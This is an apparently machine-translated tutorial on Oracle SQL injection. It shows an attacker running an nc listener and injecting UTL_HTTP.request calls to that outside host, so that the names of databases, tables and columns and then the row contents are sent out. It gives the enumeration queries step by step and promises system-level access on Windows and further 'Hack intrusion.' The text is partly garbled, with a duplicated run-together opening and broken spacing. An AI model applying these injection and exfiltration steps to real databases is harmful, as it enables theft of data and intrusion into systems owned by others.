Oracle injection technology-Oracle + nc Injection

First, the Internet nc listens to the corresponding port andUTL_HTTP.request (Internet ip: port (SQL statement) 1 -- database explosion: selectownerfromall_tableswhererownum1selectownerfromall_tableswhereowner first database name -- IWMS_AD_BEGIN----IWMS_AD_END -- andrownum1selectown

First, InternetNcListener Port
And UTL_HTTP.request ("Internet ip: port/" (SQL statement) = 1 --

Database explosion:

Select owner from all_tables where rownum = 1

Select owner from all_tables where owner <> "first database name" <-- IWMS_AD_BEGIN -->
<-- IWMS_AD_END -->

And rownum = 1

Select owner from all_tables where owner <> "first database name"

And owner <> "second" and rownum = 1

Select owner from all_tables where owner <> "first database name"

And owner <> "first database name" and rownum = 1

On this basis

Explosive table

:

Select TABLE_NAME from all_tables where owner = "database name"

And rownum = 1

Select TABLE_NAME from all_tables where owner = "database name"

And rownum = 1 and TABLE_NAME <> "table name 1"

Select TABLE_NAME from all_tables where owner = "Database Name" andrownum = 1

And TABLE_NAME <> "table name 1" and TABLE_NAME <> "table name 2"

On this basis

Burst columns:

Select COLUMN_NAME from user_tab _ColUmns wheretable_name = "table name"

And rownum = 1

Select COLUMN_NAME from user_tab_columns wheretable_name = "table name"

And rownum = 1 and COLUMN_NAME <> "first column name popped up"

Select COLUMN_NAME from user_tab_columns wheretable_name = "table name"

And rownum = 1 and COLUMN_NAME <> "the first column name" andCOLUMN_NAME <> "the second column name"

Burst content:

First content: select column name from table name where rownum = 1

Second content: select column name from table name where rownum = 1 and column name <> "first value"

Third content: select column name from table name where rownum = 1 and column name <> "first value" and column name <> "second value"

On this basis

Note:

1: In windows, oracle is started as a service, so that the system permission can be directly obtained through web injection (this part of content is being sorted and tested, to provide more intuitive, concise, and effective reference materials

2: for unix andLinux operating systemOracle will also be analyzed, and it is believed that Oracle injection will become a bridge to transfer to advanced Hack intrusion